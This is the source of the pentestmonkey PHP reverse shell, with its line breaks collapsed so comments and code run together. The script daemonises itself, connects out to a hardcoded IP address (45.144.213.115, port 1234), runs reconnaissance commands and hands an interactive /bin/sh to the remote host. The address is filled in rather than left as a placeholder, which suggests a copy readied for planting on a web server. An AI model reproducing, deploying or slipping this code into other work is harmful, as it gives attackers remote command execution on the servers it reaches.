// php-reverse-shell - A Reverse Shell implementation in PHP// Copyright (C) 2007 pentestmonkey@pentestmonkey.net//// This tool may be used for legal purposes only.  Users take full responsibility// for any actions performed using this tool.  The author accepts no liability// for damage caused by this tool.  If these terms are not acceptable to you, then// do not use this tool.//// In all other respects the GPL version 2 applies://// This program is free software; you can redistribute it and/or modify// it under the terms of the GNU General Public License version 2 as// published by the Free Software Foundation.//// This program is distributed in the hope that it will be useful,// but WITHOUT ANY WARRANTY; without even the implied warranty of// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the// GNU General Public License for more details.//// You should have received a copy of the GNU General Public License along// with this program; if not, write to the Free Software Foundation, Inc.,// 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.//// This tool may be used for legal purposes only.  Users take full responsibility// for any actions performed using this tool.  If these terms are not acceptable to// you, then do not use this tool.//// You are encouraged to send comments, improvements or suggestions to// me at pentestmonkey@pentestmonkey.net//// Description// -----------// This script will make an outbound TCP connection to a hardcoded IP and port.// The recipient will be given a shell running as the current user (apache normally).//// Limitations// -----------// proc_open and stream_set_blocking require PHP version 4.3+, or 5+// Use of stream_select() on file descriptors returned by proc_open() will fail and return FALSE under Windows.// Some compile-time options are needed for daemonisation (like pcntl, posix).  These are rarely available.//// Usage// -----// See http://pentestmonkey.net/tools/php-reverse-shell if you get stuck.set_time_limit (0);$VERSION = "1.0";$ip = '45.144.213.115';  // CHANGE THIS$port = 1234;       // CHANGE THIS$chunk_size = 1400;$write_a = null;$error_a = null;$shell = 'uname -a; w; id; /bin/sh -i';$daemon = 0;$debug = 0;//// Daemonise ourself if possible to avoid zombies later//// pcntl_fork is hardly ever available, but will allow us to daemonise// our php process and avoid zombies.  Worth a try...if (function_exists('pcntl_fork')) {	// Fork and have the parent process exit	$pid = pcntl_fork();		if ($pid == -1) {		printit("ERROR: Can't fork");		exit(1);	}		if ($pid) {		exit(0);  // Parent exits	}	// Make the current process a session leader	// Will only succeed if we forked	if (posix_setsid() == -1) {		printit("Error: Can't setsid()");		exit(1);	}	$daemon = 1;} else {	printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");}// Change to a safe directorychdir("/");// Remove any umask we inheritedumask(0);//// Do the reverse shell...//// Open reverse connection$sock = fsockopen($ip, $port, $errno, $errstr, 30);if (!$sock) {	printit("$errstr ($errno)");	exit(1);}// Spawn shell process$descriptorspec = array(   0 => array("pipe", "r"),  // stdin is a pipe that the child will read from   1 => array("pipe", "w"),  // stdout is a pipe that the child will write to   2 => array("pipe", "w")   // stderr is a pipe that the child will write to);$process = proc_open($shell, $descriptorspec, $pipes);if (!is_resource($process)) {	printit("ERROR: Can't spawn shell");	exit(1);}// Set everything to non-blocking// Reason: Occsionally reads will block, even though stream_select tells us they won'tstream_set_blocking($pipes[0], 0);stream_set_blocking($pipes[1], 0);stream_set_blocking($pipes[2], 0);stream_set_blocking($sock, 0);printit("Successfully opened reverse shell to $ip:$port");while (1) {	// Check for end of TCP connection	if (feof($sock)) {		printit("ERROR: Shell connection terminated");		break;	}	// Check for end of STDOUT	if (feof($pipes[1])) {		printit("ERROR: Shell process terminated");		break;	}	// Wait until a command is end down $sock, or some	// command output is available on STDOUT or STDERR	$read_a = array($sock, $pipes[1], $pipes[2]);	$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);	// If we can read from the TCP socket, send	// data to process's STDIN	if (in_array($sock, $read_a)) {		if ($debug) printit("SOCK READ");		$input = fread($sock, $chunk_size);		if ($debug) printit("SOCK: $input");		fwrite($pipes[0], $input);	}	// If we can read from the process's STDOUT	// send data down tcp connection	if (in_array($pipes[1], $read_a)) {		if ($debug) printit("STDOUT READ");		$input = fread($pipes[1], $chunk_size);		if ($debug) printit("STDOUT: $input");		fwrite($sock, $input);	}	// If we can read from the process's STDERR	// send data down tcp connection	if (in_array($pipes[2], $read_a)) {		if ($debug) printit("STDERR READ");		$input = fread($pipes[2], $chunk_size);		if ($debug) printit("STDERR: $input");		fwrite($sock, $input);	}}fclose($sock);fclose($pipes[0]);fclose($pipes[1]);fclose($pipes[2]);proc_close($process);// Like print, but does nothing if we've daemonised ourself// (I can't figure out how to redirect STDOUT like a proper daemon)function printit ($string) {	if (!$daemon) {		print "$string\n";	}}